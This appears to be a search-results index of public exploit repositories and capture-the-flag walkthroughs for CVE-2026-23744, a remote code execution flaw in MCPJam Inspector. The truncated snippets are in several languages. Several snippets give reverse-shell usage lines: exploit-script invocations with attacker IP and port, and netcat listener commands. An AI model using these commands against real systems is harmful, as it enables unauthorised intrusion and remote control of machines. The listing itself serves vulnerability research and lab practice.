26 matches found
CVE-2026-23744
CVE-2026-23744 python3 CVE-2026-23744.py -u http://devhub.htb:6274 -i 10.10.14.106 -p 4321...
mcpjaminspector-unauth-rce
mcpjaminspector-unauth-rce CVE-2026-23744 MCPJam inspector = 1.4.2 中的 RCE 漏洞详情 https://github.com/MCPJam/inspector/security/advisories/GHSA-232v-j27c-5pp6 使用方法 root@kitploit: usage: mcpjaminspector-unauth-rce.py -h --target TARGET --command COMMAND options: -h, --help show this help message and...
CVE-2026-23744
用法: exploit.py -h --lhost LHOST --lport LPORT --rhost RHOST CVE-2026-23744 - PoC 选项: -h, --help 显示此帮助信息并退出 --lhost, -l LHOST 攻击者 IP 地址 --lport, -p LPORT 攻击者端口 --rhost, -t RHOST 目标 URL...
MCPJam Inspector - Remote Code Execution
MCPJam inspector is the local-first development platform for MCP servers. The Latest version 1.4.2 and earlier are vulnerable to a remote code execution RCE vulnerability, which allows an attacker to send a crafted HTTP request that triggers the installation of an MCP server, leading to RCE. id:...
MCPJam-Inspector-1.4.2-Remote-Code-Execution-CVE-2026-23744
auf kali linux - terminal 1 nc -lvnp 4444 auf kali linux - terminal 2 python3 ./CVE-2026-23744.py -t http://TARGET.com -p 4444 -i YOUR-KALI-LINUX-IP...
CVE-2026-23744
CVE-2026-23744 用于利用 CVE-2026-23744 的 python 脚本 使用方法：首先你需要打开两个终端 第一个终端 -- nc -nvlp 4444 第二个终端 -- python CVE-2026-23744.py -lhost 你的IP -url 目标URL 查看帮助菜单：python CVE-2026-23744.py -h...
CVE-2026-23744
Ce depot n’a pas de fichier README...
CVE-2026-23744-PoC
Questo repository non contiene un README...
CVE-2026-23744
Dieses Repository hat keine README-Datei...
CVE-2026-23744-exploit
Dieses Repository hat keine README-Datei...
mcpExec
mcpExec é uma ferramenta que aproveita o CVE-2026-23744 para obter uma reverse shell usando a URL da instalação vulnerável do MCPJam Inspector. Instalação root@kitploit: git clone https://github.com/daemoncibsec/mcpExec.git cd mcpExec python3 -m venv venv source venv/bin/activate pip install rich...
DevHub-HTB-Walkthrough
DevHub – HTB Walkthrough Medium Linux Macchina: DevHub Difficoltà: Medium OS: Linux Argomenti: CVE-2026-23744, Tunneling con Chisel, Jupyter, Flask API, Escalation dei privilegi di root 📌 1. Ricognizione root@kitploit: nmap -sC -sV devhub.htb Risultato: root@kitploit: Porta 22 SSH Porta 80 HTTP...
Exploit for Missing Authentication for Critical Function in Mcpjam Inspector
CVE-2026-23744: Unauthenticated Remote Code Execution PoC...
Exploit for Missing Authentication for Critical Function in Mcpjam Inspector
MCPJam Inspector Authorized Security Validator A bounded proo...
Exploit for Missing Authentication for Critical Function in Mcpjam Inspector
cve-2026...
📄 MCPJam Inspector 1.4.2 Command Injection
This is an advanced Python proof of concept for CVE-2026-23744 demonstrating command injection through a vulnerable MCP API endpoint, leading to remote code execution and reverse shell access. The script supports multiple payload types, endpoint discovery, listener management, and several...
Exploit for Missing Authentication for Critical Function in Mcpjam Inspector
CVE-2026-23744 --- Description MCPJam inspector is a loca...
Exploit for Missing Authentication for Critical Function in Mcpjam Inspector
on kali linux - terminal 1...